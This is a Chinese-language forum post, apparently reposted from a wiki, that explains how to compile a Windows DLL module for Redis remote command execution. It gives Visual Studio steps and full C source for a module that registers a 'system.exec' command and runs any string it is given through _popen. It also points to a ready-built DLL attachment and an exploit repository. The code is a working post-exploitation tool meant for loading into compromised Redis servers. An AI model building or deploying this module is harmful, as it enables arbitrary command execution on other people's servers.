编译 Windows 下的 Redis RCE 模块(DLL)

2 条回复
13 次浏览

最开始 GitHub 上都是 Linux 的利用,没有 Windows 的,现在不知道有没有。

新建一个 C++工程。

选择 Windows 桌面向导

null

如上图

然后输入项目名。

null

选择动态链接库

null

勾选空项目。

null

添加头文件,现有项。

redismodule.h添加进去。

null

然后新建一个源文件。

源文件,添加,新建项

null

名字:dllmain.c不是.cpp 是.c

null

然后输入下面内容:

复制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "redismodule.h"
#include <stdio.h>


__declspec(dllexport) int RedisModule_OnLoad(RedisModuleCtx* ctx, RedisModuleString** argv, int argc);

int DoCommand(RedisModuleCtx* ctx, RedisModuleString** argv, int argc) {
	if (argc == 2) {
		size_t cmd_len;
		size_t size = 1024;
		char* cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
		FILE* fp = _popen(cmd, "r");
		char* buf, * output;
		buf = (char*)malloc(size);
		output = (char*)malloc(size);
		while (fgets(buf, sizeof(buf), fp) != 0) {
			if (strlen(buf) + strlen(output) >= size) {
				output = realloc(output, size << 2);
				size <<= 1;
			}
			strcat_s(output, size, buf);
		}
		RedisModuleString* ret = RedisModule_CreateString(ctx, output, strlen(output));
		RedisModule_ReplyWithString(ctx, ret);
		_pclose(fp);
	}
	else {
		return RedisModule_WrongArity(ctx);
	}
	return REDISMODULE_OK;

}

int RedisModule_OnLoad(RedisModuleCtx* ctx, RedisModuleString** argv, int argc) {
	if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1)
		== REDISMODULE_ERR) return REDISMODULE_ERR;

	if (RedisModule_CreateCommand(ctx, "system.exec",
		DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
		return REDISMODULE_ERR;
	return REDISMODULE_OK;
}

右键项目,属性。

null

选择 release,配置属性,C/C++,预编译头,选择不使用预编译头,保存。

null

右键项目,生成。

null

null

生成完毕,下面测试。

null

正常载入,命令正常。

已编译的 DLL 与 redismodule.h 见附件。

参考:

https://cloud.tencent.com/developer/article/1781255

https://djhons.com/2021/10/29/61.html

https://github.com/djhons/redis_rce/

原文地址
Windows 下编译 RedisRCE 模块(DLL)@墨雪飘影
https://wiki.shikangsi.com/post/3676/

种子用户
OP

有这个需求,正好就了解一下简单的 C++(这里可能是 C 吧)DLL 编译。

发表一个评论

R保持